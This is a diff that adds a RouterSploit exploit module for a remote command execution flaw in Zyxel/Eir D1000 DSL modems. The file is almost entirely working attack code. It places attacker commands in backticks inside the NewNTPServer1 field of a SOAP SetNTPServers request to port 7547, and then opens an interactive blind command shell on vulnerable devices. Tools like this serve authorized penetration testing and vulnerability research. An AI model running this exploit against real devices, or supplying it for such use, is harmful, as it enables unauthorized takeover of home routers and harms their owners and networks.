Zyxel/Eir D1000 RCE exploit

routersploit/modules/exploits/zyxel/d1000_rce.py

+from routersploit import (
+    exploits,
+    print_error,
+    print_status,
+    print_success,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Zyxel/Eir D1000 Remote Command Execution vulnerability.
+    If the target is vulnerable it allows to execute commands on operating system level.
+    """
+    __info__ = {
+        'name': 'Zyxel Eir D1000 RCE',
+        'description': 'Module exploits Remote Command Execution vulnerability in Zyxel/Eir D1000 devices.'
+                       'If the target is vulnerable it allows to execute commands on operating system level.',
+        'authors': [
+            'kenzo',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/',
+            'https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759',
+            'https://broadband-forum.org/technical/download/TR-064.pdf',
+        ],
+        'devices': [
+            'Zyxel EIR D1000',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(7547, 'Target port')  # default port
+
+    def run(self):
+        if self.check():
+            print_success("Target appears to be vulnerable")
+            print_status("Invoking command loop...")
+            print_status("It is blind command injection - response is not available")
+            shell(self, architecture="mips")
+        else:
+            print_error("Target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        url = "{}:{}/UD/act?1".format(self.target, self.port)
+        headers = {"Content-Type": "text/xml",
+                   "SOAPAction": "urn:dslforum-org:service:Time:1#SetNTPServers"}
+
+        data = ("<?xml version=\"1.0\"?>"
+                "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
+                " <SOAP-ENV:Body>"
+                "  <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">"
+                "   <NewNTPServer1>`{}`</NewNTPServer1>"  # injection
+                "   <NewNTPServer2></NewNTPServer2>"
+                "   <NewNTPServer3></NewNTPServer3>"
+                "   <NewNTPServer4></NewNTPServer4>"
+                "   <NewNTPServer5></NewNTPServer5>"
+                "  </u:SetNTPServers>"
+                " </SOAP-ENV:Body>"
+                "</SOAP-ENV:Envelope>").format(cmd)
+
+        http_request(method="POST", url=url, headers=headers, data=data)
+        return ""
+
+    @mute
+    def check(self):  # todo: requires improvement
+        url = "{}:{}/globe".format(self.target, self.port)
+        response = http_request(method="GET", url=url)
+
+        if response is not None:
+            if response.status_code == 404 and "home_wan.htm" in response.text:
+                return True  # target is vulnerable
+
+        return False  # target is not vulnerable